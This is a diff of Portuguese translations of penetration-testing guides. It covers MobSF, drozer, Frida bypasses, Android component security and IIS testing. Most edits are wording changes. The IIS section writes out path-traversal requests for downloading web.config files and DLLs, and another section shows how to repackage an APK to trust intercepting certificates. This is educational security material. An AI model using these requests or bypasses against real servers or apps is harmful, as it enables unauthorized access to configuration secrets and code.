O MobSF também permite que você faça uma análise de **diff/Comparar** e integre o **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
|
||||
O MobSF também permite que você **diff/Compare** análises e integre **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **upload** em vez do arquivo.
|
||||
|
||||
### Análise Dinâmica Assistida com MobSF
|
||||
|
||||
**MobSF** também pode ser muito útil para **análise dinâmica** em **Android**, mas nesse caso você precisará instalar o MobSF e **genymotion** em seu host (uma VM ou Docker não funcionará). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
|
||||
O **analisador dinâmico do MobSF** pode:
|
||||
|
||||
- **Extrair dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas pelo "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
|
||||
- **Dump de dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas por "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
|
||||
- Capturar **tráfego HTTPS**
|
||||
- Usar **Frida** para obter **informações em tempo de execução**
|
||||
|
||||
@ -538,7 +538,7 @@ A partir das versões **Android > 5**, ele **iniciará automaticamente o Frida**
|
||||
|
||||
**Frida**
|
||||
|
||||
Por padrão, ele também usará alguns Scripts Frida para **burlar a verificação de SSL**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
|
||||
Por padrão, ele também usará alguns Scripts Frida para **burlar SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
|
||||
O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
|
||||
|
||||
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
|
||||
@ -553,9 +553,9 @@ Além disso, você tem algumas funcionalidades auxiliares do Frida:
|
||||
- **Capturar Comparações de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
|
||||
- **Enumerar Métodos de Classe**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
- **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
|
||||
- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API do Android.
|
||||
- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API Android.
|
||||
|
||||
Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Instrumentation**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -570,10 +570,10 @@ receivers
|
||||
```
|
||||
**Ferramentas HTTP**
|
||||
|
||||
Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visão mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visualização mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
|
||||
> [!NOTE]
|
||||
> Após realizar uma análise dinâmica com MobSF, as configurações do proxy podem estar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo:
|
||||
@ -619,7 +619,7 @@ SUPER é um aplicativo de linha de comando que pode ser usado no Windows, MacOS
|
||||
|
||||
Todas as regras estão centradas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisam.
|
||||
|
||||
Baixe os binários mais recentes na [página de download](https://superanalyzer.rocks/download.html)
|
||||
Baixe os binários mais recentes na [pagina de download](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
@ -631,13 +631,13 @@ StaCoAn é uma ferramenta **multiplataforma** que ajuda desenvolvedores, caçado
|
||||
|
||||
O conceito é que você arrasta e solta seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
|
||||
|
||||
Baixe[ a versão mais recente](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
O AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicativos Android.\
|
||||
O AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -659,7 +659,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
**MARA** é um **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. É uma ferramenta que reúne ferramentas comumente usadas para engenharia reversa e análise de aplicativos móveis, para auxiliar na testagem de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
|
||||
|
||||
É capaz de:
|
||||
Ele é capaz de:
|
||||
|
||||
- Extrair código Java e Smali usando diferentes ferramentas
|
||||
- Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
@ -678,7 +678,7 @@ Note que dependendo do serviço e configuração que você usa para ofuscar o c
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
Do [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2.
|
||||
De [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2.
|
||||
|
||||
ProGuard é distribuído como parte do SDK do Android e é executado ao construir o aplicativo em modo de lançamento.
|
||||
|
||||
@ -686,7 +686,7 @@ ProGuard é distribuído como parte do SDK do Android e é executado ao construi
|
||||
|
||||
Encontre um guia passo a passo para deofuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Daquele guia) Da última vez que verificamos, o modo de operação do Dexguard era:
|
||||
(Desse guia) Na última vez que verificamos, o modo de operação do Dexguard era:
|
||||
|
||||
- carregar um recurso como um InputStream;
|
||||
- alimentar o resultado a uma classe que herda de FilterInputStream para descriptografá-lo;
|
||||
@ -702,15 +702,15 @@ Você pode enviar um APK ofuscado para a plataforma deles.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Esta é uma ferramenta LLM para encontrar quaisquer vulnerabilidades de segurança potenciais em aplicativos android e deofuscar o código do aplicativo android. Usa a API pública Gemini do Google.
|
||||
Esta é uma ferramenta LLM para encontrar quaisquer potenciais vulnerabilidades de segurança em aplicativos android e deofuscar o código do aplicativo android. Usa a API pública Gemini do Google.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
É um **deofuscador android genérico.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual tipo específico de ofuscação é usado.
|
||||
É um **deofuscador android genérico.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação utilizada.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muitos **compiladores**, **empacotadores**, **ofuscadores** e outras coisas estranhas. É o [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
|
||||
APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muitos **compiladores**, **empacotadores**, **ofuscadores**, e outras coisas estranhas. É o [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
|
||||
|
||||
### Manual
|
||||
|
||||
@ -720,7 +720,7 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e laboratórios de diferentes especialistas em segurança e pesquisadores para engenharia reversa e análise de malware.
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e laboratórios de diferentes especialistas e pesquisadores de segurança para engenharia reversa e análise de malware.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -11,14 +11,14 @@
|
||||
|
||||
### Separação de UID
|
||||
|
||||
**Cada aplicação é atribuída a um ID de Usuário específico**. Isso é feito durante a instalação do app para que **o app só possa interagir com arquivos pertencentes ao seu ID de Usuário ou arquivos compartilhados**. Portanto, apenas o próprio app, certos componentes do SO e o usuário root podem acessar os dados dos apps.
|
||||
**Cada aplicação é atribuída a um ID de Usuário específico**. Isso é feito durante a instalação do app para que **o app só possa interagir com arquivos pertencentes ao seu ID de Usuário ou arquivos compartilhados**. Portanto, apenas o próprio app, certos componentes do SO e o usuário root podem acessar os dados do app.
|
||||
|
||||
### Compartilhamento de UID
|
||||
|
||||
**Duas aplicações podem ser configuradas para usar o mesmo UID**. Isso pode ser útil para compartilhar informações, mas se uma delas for comprometida, os dados de ambas as aplicações serão comprometidos. É por isso que esse comportamento é **desencorajado**.\
|
||||
**Para compartilhar o mesmo UID, as aplicações devem definir o mesmo valor `android:sharedUserId` em seus manifests.**
|
||||
|
||||
### Sandbox
|
||||
### Sandboxing
|
||||
|
||||
O **Sandbox de Aplicações Android** permite executar **cada aplicação** como um **processo separado sob um ID de usuário separado**. Cada processo tem sua própria máquina virtual, então o código de um app é executado em isolamento de outros apps.\
|
||||
A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux negou todas as interações de processos e, em seguida, criou políticas para **permitir apenas as interações esperadas entre eles**.
|
||||
@ -33,7 +33,7 @@ Um elemento de permissão tem três atributos:
|
||||
|
||||
- O **nome** da permissão
|
||||
- O atributo **permission-group**, que permite agrupar permissões relacionadas.
|
||||
- O **protection-level** que indica como as permissões são concedidas. Existem quatro tipos:
|
||||
- O **protection-level**, que indica como as permissões são concedidas. Existem quatro tipos:
|
||||
- **Normal**: Usado quando não há **ameaças conhecidas** ao app. O usuário **não é obrigado a aprová-lo**.
|
||||
- **Dangerous**: Indica que a permissão concede à aplicação solicitante algum **acesso elevado**. **Os usuários são solicitados a aprová-las**.
|
||||
- **Signature**: Apenas **apps assinados pelo mesmo certificado que o que** exporta o componente podem receber permissão. Este é o tipo mais forte de proteção.
|
||||
@ -105,7 +105,7 @@ Assim, um Intent é basicamente uma **mensagem que é passada entre componentes*
|
||||
Para ser simples, o Intent pode ser usado:
|
||||
|
||||
- Para iniciar uma Activity, tipicamente abrindo uma interface de usuário para um app
|
||||
- Como transmissões para informar o sistema e apps sobre mudanças
|
||||
- Como transmissões para informar o sistema e os apps sobre mudanças
|
||||
- Para iniciar, parar e comunicar-se com um serviço em segundo plano
|
||||
- Para acessar dados via ContentProviders
|
||||
- Como callbacks para lidar com eventos
|
||||
@ -145,7 +145,7 @@ Esta intenção deve ser declarada dentro do manifesto como no seguinte exemplo:
|
||||
```
|
||||
Um intent-filter precisa corresponder à **ação**, **dados** e **categoria** para receber uma mensagem.
|
||||
|
||||
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Este processo considera o **atributo de prioridade**, que pode ser definido na **declaração do intent-filter**, e **aquele com a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se um **conflito** surgir, uma janela "chooser" aparece para que o **usuário possa decidir**.
|
||||
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Este processo considera o **atributo de prioridade**, que pode ser definido na **declaração do intent-filter**, e **aquele com a maior prioridade será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se um **conflito** surgir, uma janela "chooser" aparece para que o **usuário possa decidir**.
|
||||
|
||||
### Intents Explícitos
|
||||
|
||||
@ -161,17 +161,18 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
Esses permitem que outros aplicativos **realizem ações em nome do seu aplicativo**, usando a identidade e permissões do seu app. Para construir um Pending Intent, deve-se **especificar um intent e a ação a ser realizada**. Se o **intent declarado não for Explícito** (não declarar qual intent pode chamá-lo), um **aplicativo malicioso pode realizar a ação declarada** em nome do aplicativo vítima. Além disso, **se uma ação não for especificada**, o aplicativo malicioso poderá realizar **qualquer ação em nome da vítima**.
|
||||
Esses permitem que outros aplicativos **realizem ações em nome do seu aplicativo**, usando a identidade e permissões do seu app. Para construir um Pending Intent, deve-se **especificar um intent e a ação a ser realizada**. Se o **intent declarado não for Explícito** (não declarar qual intent pode chamá-lo), um **aplicativo malicioso pode realizar a ação declarada** em nome do aplicativo vítima. Além disso, **se uma ação não for especificada**, o aplicativo malicioso poderá fazer **qualquer ação em nome da vítima**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
Diferente dos intents anteriores, que são recebidos apenas por um app, os intents de broadcast **podem ser recebidos por múltiplos apps**. No entanto, a partir da versão 14 da API, é **possível especificar o app que deve receber** a mensagem usando Intent.setPackage.
|
||||
Diferentemente dos intents anteriores, que são recebidos apenas por um app, os intents de broadcast **podem ser recebidos por múltiplos apps**. No entanto, a partir da versão da API 14, é **possível especificar o app que deve receber** a mensagem usando Intent.setPackage.
|
||||
|
||||
Alternativamente, também é possível **especificar uma permissão ao enviar o broadcast**. O app receptor precisará ter essa permissão.
|
||||
|
||||
Existem **dois tipos** de Broadcasts: **Normal** (assíncrono) e **Ordenado** (síncrono). A **ordem** é baseada na **prioridade configurada dentro do elemento receptor**. **Cada app pode processar, retransmitir ou descartar o Broadcast.**
|
||||
|
||||
É possível **enviar** um **broadcast** usando a função `sendBroadcast(intent, receiverPermission)` da classe `Context`.\ Você também pode usar a função **`sendBroadcast`** do **`LocalBroadCastManager`**, que garante que a **mensagem nunca saia do app**. Usando isso, você não precisará nem exportar um componente receptor.
|
||||
É possível **enviar** um **broadcast** usando a função `sendBroadcast(intent, receiverPermission)` da classe `Context`.\
|
||||
Você também pode usar a função **`sendBroadcast`** do **`LocalBroadCastManager`**, que garante que a **mensagem nunca saia do app**. Usando isso, você não precisará nem exportar um componente receptor.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
@ -216,7 +217,7 @@ Aprenda a [chamar deep links sem usar páginas HTML](#exploiting-schemes-deep-li
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
A **Android Interface Definition Language (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio de **comunicação entre processos** (IPC). Como o acesso direto à memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao marshalling de objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos.
|
||||
A **Android Interface Definition Language (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio de **comunicação entre processos** (IPC). Como o acesso à memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao marshalling de objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos.
|
||||
|
||||
### Conceitos Chave
|
||||
|
||||
@ -235,7 +236,7 @@ Estes incluem: **Atividades, Serviços, Broadcast Receivers e Providers.**
|
||||
Em aplicativos Android, **atividades** são como telas, mostrando diferentes partes da interface do usuário do aplicativo. Um aplicativo pode ter muitas atividades, cada uma apresentando uma tela única para o usuário.
|
||||
|
||||
A **atividade de lançamento** é o principal portal para um aplicativo, lançada quando você toca no ícone do aplicativo. Ela é definida no arquivo de manifesto do aplicativo com intents específicas MAIN e LAUNCHER:
|
||||
```markup
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
@ -295,7 +296,7 @@ Para entender a funcionalidade de um receptor, procure o método **`onReceive`**
|
||||
|
||||
**Content Providers** são essenciais para **compartilhar dados estruturados** entre aplicativos, enfatizando a importância de implementar **permissões** para garantir a segurança dos dados. Eles permitem que aplicativos acessem dados de várias fontes, incluindo bancos de dados, sistemas de arquivos ou a web. Permissões específicas, como **`readPermission`** e **`writePermission`**, são cruciais para controlar o acesso. Além disso, o acesso temporário pode ser concedido através das configurações **`grantUriPermission`** no manifest do aplicativo, aproveitando atributos como `path`, `pathPrefix` e `pathPattern` para controle de acesso detalhado.
|
||||
|
||||
A validação de entrada é fundamental para prevenir vulnerabilidades, como injeção de SQL. Content Providers suportam operações básicas: `insert()`, `update()`, `delete()`, e `query()`, facilitando a manipulação e compartilhamento de dados entre aplicativos.
|
||||
A validação de entrada é fundamental para prevenir vulnerabilidades, como injeção de SQL. Content Providers suportam operações básicas: `insert()`, `update()`, `delete()` e `query()`, facilitando a manipulação e compartilhamento de dados entre aplicativos.
|
||||
|
||||
**FileProvider**, um Content Provider especializado, foca em compartilhar arquivos de forma segura. Ele é definido no manifest do aplicativo com atributos específicos para controlar o acesso a pastas, denotados por `android:exported` e `android:resource` apontando para configurações de pastas. Cuidado é aconselhado ao compartilhar diretórios para evitar expor dados sensíveis inadvertidamente.
|
||||
|
||||
@ -331,7 +332,7 @@ O Android oferece dois tipos principais de WebView:
|
||||
|
||||
Um ponto chave é que os navegadores WebView **não compartilham cookies** com o navegador principal do dispositivo.
|
||||
|
||||
Para carregar conteúdo, métodos como `loadUrl`, `loadData` e `loadDataWithBaseURL` estão disponíveis. É crucial garantir que essas URLs ou arquivos sejam **seguros para uso**. As configurações de segurança podem ser gerenciadas por meio da classe `WebSettings`. Por exemplo, desabilitar JavaScript com `setJavaScriptEnabled(false)` pode prevenir ataques XSS.
|
||||
Para carregar conteúdo, métodos como `loadUrl`, `loadData` e `loadDataWithBaseURL` estão disponíveis. É crucial garantir que essas URLs ou arquivos sejam **seguros para uso**. As configurações de segurança podem ser gerenciadas por meio da classe `WebSettings`. Por exemplo, desabilitar o JavaScript com `setJavaScriptEnabled(false)` pode prevenir ataques XSS.
|
||||
|
||||
O "Bridge" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com `@JavascriptInterface` para segurança a partir do Android 4.2.
|
||||
|
||||
@ -353,7 +354,7 @@ Para controlar o acesso a arquivos:
|
||||
|
||||
### **Gerenciamento de Dispositivos Móveis (MDM)**
|
||||
|
||||
- **Soluções MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas necessitam da instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **imposição de políticas de senha**, **obrigação de criptografia de armazenamento** e **permissão para limpeza remota de dados**, garantindo controle e segurança abrangentes sobre dispositivos móveis.
|
||||
- **Soluções MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas exigem a instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **imposição de políticas de senha**, **obrigação de criptografia de armazenamento** e **permissão para limpeza remota de dados**, garantindo controle e segurança abrangentes sobre dispositivos móveis.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
||||
@ -47,8 +47,8 @@ drozer console connect
|
||||
| **clean** | Remove arquivos temporários armazenados pelo drozer no dispositivo Android. |
|
||||
| **load** | Carrega um arquivo contendo comandos drozer e os executa em sequência. |
|
||||
| **module** | Encontra e instala módulos drozer adicionais da Internet. |
|
||||
| **unset** | Remove uma variável nomeada que o drozer passa para qualquer shell Linux que ele gera. |
|
||||
| **set** | Armazena um valor em uma variável que será passada como uma variável ambiental para qualquer shell Linux gerado pelo drozer. |
|
||||
| **unset** | Remove uma variável nomeada que o drozer passa para quaisquer shells Linux que ele gera. |
|
||||
| **set** | Armazena um valor em uma variável que será passada como uma variável ambiental para quaisquer shells Linux gerados pelo drozer. |
|
||||
| **shell** | Inicia um shell Linux interativo no dispositivo, no contexto do Agente |
|
||||
| **run MODULE** | Executa um módulo drozer |
|
||||
| **exploit** | O drozer pode criar exploits para executar no dispositivo. `drozer exploit list` |
|
||||
@ -103,7 +103,7 @@ is debuggable
|
||||
### Atividades
|
||||
|
||||
O valor “android:exported” de um componente de atividade exportado é definido como **“true”** no arquivo AndroidManifest.xml:
|
||||
```markup
|
||||
```html
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
```
|
||||
@ -117,7 +117,7 @@ com.mwr.example.sieve.PWList
|
||||
```
|
||||
**Iniciar atividade**:
|
||||
|
||||
Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedi-lo de lançá-la.
|
||||
Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedir você de lançá-la.
|
||||
```bash
|
||||
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
|
||||
```
|
||||
@ -128,14 +128,14 @@ Você também pode iniciar uma atividade exportada a partir do **adb**:
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
### Content Providers
|
||||
### Provedores de Conteúdo
|
||||
|
||||
Este post era muito grande para estar aqui, então **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md).
|
||||
Este post foi tão grande que **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md).
|
||||
|
||||
### Services
|
||||
### Serviços
|
||||
|
||||
Um serviço exportado é declarado dentro do Manifest.xml:
|
||||
```markup
|
||||
```html
|
||||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||||
```
|
||||
Dentro do código **verifique** a função **`handleMessage`** que irá **receber** a **mensagem**:
|
||||
@ -163,7 +163,7 @@ Dê uma olhada na ajuda do **drozer** para `app.service.send`:
|
||||
|
||||
.png>)
|
||||
|
||||
Note que você enviará primeiro os dados dentro de "_msg.what_", depois "_msg.arg1_" e "_msg.arg2_", você deve verificar dentro do código **quais informações estão sendo usadas** e onde.\
|
||||
Note que você estará enviando primeiro os dados dentro de "_msg.what_", depois "_msg.arg1_" e "_msg.arg2_", você deve verificar dentro do código **quais informações estão sendo usadas** e onde.\
|
||||
Usando a opção `--extra` você pode enviar algo interpretado por "_msg.replyTo_", e usando `--bundle-as-obj` você cria um objeto com os detalhes fornecidos.
|
||||
|
||||
No exemplo a seguir:
|
||||
|
||||
@ -12,7 +12,7 @@ Primeiro, descompilamos o aplicativo: `apktool d *file-name*.apk`
|
||||
|
||||
|
||||
|
||||
Em seguida, vamos para o arquivo **Manifest.xml** e rolamos até a tag `<\application android>` e vamos adicionar a seguinte linha se ela ainda não estiver lá:
|
||||
Em seguida, vamos ao arquivo **Manifest.xml** e rolamos para baixo até a tag `<\application android>` e vamos adicionar a seguinte linha, se ainda não estiver lá:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config"`
|
||||
|
||||
@ -25,7 +25,7 @@ Depois de adicionar:
|
||||
|
||||
|
||||
Agora vá para a pasta **res/xml** e crie/modifique um arquivo chamado network_security_config.xml com o seguinte conteúdo:
|
||||
```markup
|
||||
```html
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
<trust-anchors>
|
||||
@ -37,7 +37,7 @@ Agora vá para a pasta **res/xml** e crie/modifique um arquivo chamado network_s
|
||||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
Em seguida, salve o arquivo e saia de todos os diretórios e reconstrua o apk com o seguinte comando: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
Então salve o arquivo e saia de todos os diretórios e reconstrua o apk com o seguinte comando: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||
|
||||
|
||||
|
||||
@ -9,7 +9,7 @@ Teste extensões de arquivos executáveis:
|
||||
- config
|
||||
- php
|
||||
|
||||
## Divulgação de Endereço IP Interno
|
||||
## Divulgação de endereço IP interno
|
||||
|
||||
Em qualquer servidor IIS onde você obtiver um 302, você pode tentar remover o cabeçalho Host e usar HTTP/1.0 e dentro da resposta o cabeçalho Location pode apontar para o endereço IP interno:
|
||||
```
|
||||
@ -29,7 +29,7 @@ X-FEServer: NHEXCHANGE2016
|
||||
```
|
||||
## Execute .config files
|
||||
|
||||
Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexando o código ao final do arquivo dentro de um comentário HTML: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexar o código ao final do arquivo dentro de um comentário HTML: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
||||
Mais informações e técnicas para explorar essa vulnerabilidade [aqui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
@ -68,7 +68,7 @@ Em **aplicações .Net MVC**, o arquivo **web.config** desempenha um papel cruci
|
||||
### **Exploring Binary Files**
|
||||
|
||||
Um exemplo de acesso ao arquivo **web.config** é mostrado abaixo:
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
@ -89,20 +89,20 @@ Arquivos encontrados no diretório raiz, como **/global.asax** e **/connectionst
|
||||
### **Namespaces e Web.Config**
|
||||
|
||||
Aplicações MVC também definem arquivos **web.config** adicionais para namespaces específicos para evitar declarações repetitivas em cada arquivo, como demonstrado com uma solicitação para baixar outro **web.config**:
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **Baixando DLLs**
|
||||
|
||||
A menção a um namespace personalizado sugere a presença de uma DLL chamada "**WebApplication1**" no diretório /bin. Em seguida, um pedido para baixar a **WebApplication1.dll** é mostrado:
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
Isso sugere a presença de outros DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin.
|
||||
